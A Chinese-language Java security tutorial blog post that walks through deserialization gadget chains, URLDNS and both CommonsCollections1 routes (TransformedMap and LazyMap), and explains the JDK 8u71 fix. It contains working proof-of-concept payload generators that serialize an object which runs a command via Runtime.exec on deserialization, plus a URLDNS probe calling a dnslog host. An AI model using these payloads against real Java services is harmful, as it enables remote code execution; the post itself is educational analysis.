Java安全漫谈(2)——初探反序列化利用链
这部分我写了很多遍,总是写了又删,删了又写,因为感觉达不到「漫谈」的目的,写成了流水账笔记。
关于利用链的学习,我赞同su18师傅说的,这种调试分析的文章写出来于己于人都意义不大,既不能给自己带来提高,也达不到分享知识的目的,所以希望大家在学习的时候更多地去想这些Gadget是怎么被发现的,利用代码用到了哪些思路和设计模式,而不是做一个无情的调试机器。
0x1 从命令执行谈起
正常的命令执行很简单,只需要调用Runtime.getRuntime().exec()
即可。
利用反射的方式则复杂一点:
public class Reflection {
public static void main(String[] args){
String cmd = "calc.exe";
try {
Class clazz = Class.forName("java.lang.Runtime");
Constructor constructor = clazz.getDeclaredConstructor();
constructor.setAccessible(true);
Object runtime = constructor.newInstance();
Method method = clazz.getMethod("exec", String.class);
method.invoke(runtime, cmd);
}
catch (Exception e) {
e.printStackTrace();
}
}
}
0x2 URLDNS
在开始分析最著名的Commons Collections
类利用链之前,让我们先用一个较为简单的URLDNS
利用链热热身。
* URLDNS Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
URLDNS
只依赖原生类,也没有版本限制,常被用来触发DNS请求以验证反序列化漏洞是否存在,先看看利用链的末尾java.net.URL.hashCode()
:
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
hashCode
等于-1
时会调用URLStreamHandler.hashCode()
,接收的参数是URL
对象,可以看到调用了getHostAddress()
对地址做解析,触发DNS请求:
接下来就主要跟java.util.HashMap
类有关了,其hash()
如下:
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
了解过PHP反序列化POP链相关知识的就会明白,这种同名方法就是利用链里串连每个环节的线,那么这里传入的key
就需要是java.net.URL
对象。
接下来的点略微难找,在java.util.HashMap.readObject()
:
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
/*
* 省略前面的初始化过程
*/
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
最后一句调用HashMap.putVal()
时,传入第一个参数时就调用了静态方法hash()
,链条到这里就拼接完成了。
写个PoC:
public class URLDNS {
public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
String url = "http://hwqxjs.dnslog.cn";
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler);
HashMap hashMap = new HashMap();
hashMap.put(u, url);
Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);
}
static class SilentURLStreamHandler extends URLStreamHandler {
@Override
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected InetAddress getHostAddress(URL u) {
return null;
}
}
}
还有几个点需要说明:
java.net.URL.hashCode
的值要等于-1才能触发后面的动作,但调用HashMap.put()
时会进行一次hash计算,最终的值无法满足触发请求的条件,所以这里用反射将其重置为-1HashMap.put()
实际上也是调用HashMap.putVal()
SilentURLStreamHandler
类重写了getHostAddress()
,使其返回值为空,这是为了防止在payload生成阶段的HashMap.put()
就请求DNS,造成误报
0x3 CommonsCollections1的两种写法
CommonsCollections1并不是一个适合初学者分析的链,其中牵涉到了许多Java本身的知识,但如果你能搞清楚这条链,其余的利用链将不再是难题。
Apache Commons Collections 是一个扩展了 Java 标准库里的 Collection 结构的第三方基础库,它提供了很多强有力的数据结构类型并实现了各种集合工具类。作为 Apache 开源项目的重要组件,被广泛运用于各种 Java 应用的开发。
CommonsCollections1
依赖于CommonsCollections 3.1 - 3.2.1,要求JDK版本低于8u71,最后会提到高版本是如何修复的。
前置知识
先来看org.apache.commons.collections.Transformer
,它是一个接口,只提供了一个transform()
,接收对象作为参数,处理完后返回对象。
在CommonsCollections 3.1
中,有十几个该接口的实现,重点关注以下三个:
- InvokerTransformer
- ConstantTransformer
- ChainedTransformer
InvokerTransformer.transform()
的核心代码如下:
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
作用是利用反射的方式来获取传入对象的某个方法并调用,返回处理结果。调用的相关参数信息包括iMethodName
、iParamTypes
和iArgs
是从InvokerTransformer
类的构造方法处传入的。
ConstantTransformer.transform()
则非常简单,直接返回其构造方法处传入的对象。
ChainedTransformer.transform()
比较有意思:
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
iTransformers
是构造方法中传入的一个Transformer
数组,这里会分别调用Transformer
数组中每个元素的transform()
,并且上一个元素transform()
的输出会成为下一个元素transform()
的输入。
TransformedMap路线
把这几个类串联起来,如图:
HashMap hashMap = new HashMap();
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator.app"})
});
Map map = TransformedMap.decorate(hashMap, chain, null);
map.put(1, "test");
对上面的PoC做几点解释:
- 使用
TransformedMap.decorate()
来传入相关内容的原因是TransformedMap
的构造方法属性为protected
,外部无法直接访问 map.put()
实际调用的是TransformedMap.put()
,它能触发ChainedTransformer.transform()
,以达到链式调用的目的,具体跟源码分析就明白了- 三个
InvokerTransformer
稍微难理解一些,以第一个为例,传入的methodName
为getMethod
,那么经过InvokerTransformer.transform()
时即表示调用Runtime.class.getMethod()
,参数是getRuntime
,所以最终的作用是利用反射来获取Method Runtime.getRuntime()
并返回,后面的就不再赘述,如果理解有困难说明还需要补Java反射的相关知识
为什么我们要用这么复杂的payload来进行调用?直接用下面的代码不行吗?
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
替换原来的payload,然后加上序列化的部分,你会发现报错:java.io.NotSerializableException
,这是因为Runtime
类没有实现Serializable
接口,不能被序列化,那么无法在客户端生成恶意序列化数据。
那么能否这样,传入Runtime.class
,然后直接获取getRuntime()
来进行调用:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getRuntime",new Class[]{},new Object[]{}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
答案是不行,在第一个InvokerTransformer
处我们传入的object
是Runtime.class
,在InvokerTransformer.transform()
里有一句input.getClass()
,下断点看看:
可以看到,这里获取到的Class
对象是java.lang.Class
,并非java.lang.Runtime
,所以想直接获取getRuntime()
就会得到"找不到该方法"的错误。这是因为Object.getClass()
传入的参数不同会导致返回的结果不同:
- 传入对象,返回该对象的类
- 传入类,返回
java.lang.Class
现在这条链已经可以执行命令了,但还不完美,因为服务端还必须将接收到的对象转换为Map
对象并进行修改才能触发,能否让其执行readObject()
就触发呢?
把目光投向JDK内的sun.reflect.annotation.AnnotationInvocationHandler
类,其构造方法:
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}
对参数var1
会进行判断,要求只有一个父接口,并且是Annotation.class
,才会对type
和memberValues
进行初始化。
其readObject()
里有一处对memberValues
的调用:
来分析一下流程,首先获取了this.type
这个注解类对应的AnnotationType
对象,之后获取其memberTypes
属性,得到一个Map
对象。
之后循环遍历this.memberValues
,获取其key
,满足以下两个条件就调用setValue()
写入值:
- 注解类的
memberTypes
属性中存在与this.memberValues
的key
相同的属性 - 取得的值不是
ExceptionProxy
的实例或memberValues
中值的实例
那么构造payload的思路就有了,构造一个AnnotationInvocationHandler
实例,初始化时传入一个注解类和一个Map
对象,Map
的key
中有注解类中存在的属性,并且value
不是对应的实例或ExceptionProxy
对象:
HashMap hashMap = new HashMap();
hashMap.put("value", 1);
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator.app"})
});
Map map = TransformedMap.decorate(hashMap, null, chain);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);
FileOutputStream fileOutputStream = new FileOutputStream("./cc1.bin");
ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);
outputStream.writeObject(invocationHandler);
这个注解类可以是任意一个有属性的注解类,比如Retention
或Generated
等,同时需要HashMap.put()
的第一个参数和注解类的属性名一致。
调用链:
AnnotationInvocationHandler.readObject()
TransformedMap.setValue()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
LazyMap路线
org.apache.commons.collections.map.LazyMap
这个类中,有一个get()
可以调用transform()
:
public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
当Map
中没有这个key
时,会调用factory.transform()
,factory
是一个Transformer
对象,从LazyMap.decorate()
中传入。
回溯之后,发现老朋友AnnotationInvocationHandler.invoke()
中会触发get()
:
问题最终来到了如何触发AnnotationInvocationHandler.invoke()
,这与动态代理有关,我们不去细究其原理,只用知道每个动态代理类都需要实现InvocationHandler
接口,当通过动态代理来调用一个方法的时候,会被转发到实现了InvocationHandler
接口的类的invoke()
中来进行调用。
写一个实例:
public class ProxyTest {
static class Proxytest implements InvocationHandler{
protected Object target;
public Proxytest(Object target){
this.target = target;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Exception{
System.out.println("proxy");
this.target.getClass().getMethod("put", new Class[]{Object.class, Object.class}).invoke(this.target, new Object[]{"Hello", "Adan0s"});
return method.invoke(this.target, args);
}
}
public static void main(String[] args) throws Exception{
Map<String, String> map = new HashMap();
map.put("Hello", "World");
InvocationHandler handler = new Proxytest(map);
Map<String, String> proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
System.out.println(proxyMap.get("Hello"));
}
}
运行后:
可以看到,Map
对象中的值在经过invoke()
时被修改了。
AnnotationInvocationHandler
类实现了InvocationHandler
接口,那么只要将该类作为动态代理类,当被代理的对象调用某个方法,就能触发AnnotationInvocationHandler.invoke()
:
HashMap hashMap = new HashMap();
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator.app"})
});
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chain);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, handler);
这个payload能触发命令执行吗?答案是不行,因为这里我们传入动态代理类构造方法的是LazyMap
:
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
运行时无法触发invoke()
,因为它并不是被代理的对象,所以得加一层:
HashMap hashMap = new HashMap();
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator.app"})
});
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chain);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, handler);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Override.class, proxyMap);
走到AnnotationInvocationHandler.readObject()
中执行memberValues.entrySet()
时,因为我们传入的是代理对象,所以就会调用动态代理类的invoke()
,而这时的动态代理类实例是handler
,构造方法中传入LazyMap
,那么调用其invoke()
就会触发LazyMap.get()
,也就会触发后面的命令执行过程。
结合调用链可能会更好理解一些:
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
JDK高版本的修复
在JDK 8u71之后,CommonsCollections1这条链就无法使用了,原因在AnnotationInvocationHandler.readObject()
:
修复后,将不再直接对反序列化得到的Map
对象进行操作,而是将其键值对放入新建的LinkedHashMap
对象中,后续操作也都基于该对象。
依然可以走到AnnotationInvocationHandler.invoke()
,但因为memberValues
变成了LinkedHashMap
,所以后续的利用链就失效了。
0x4 总结
不得不说,CommonsCollections1这条链尤其是LazyMap
路线确实比较难理解,我也是看了很多遍才彻底搞懂的,希望这篇文章能让你少走点弯路。
参考链接: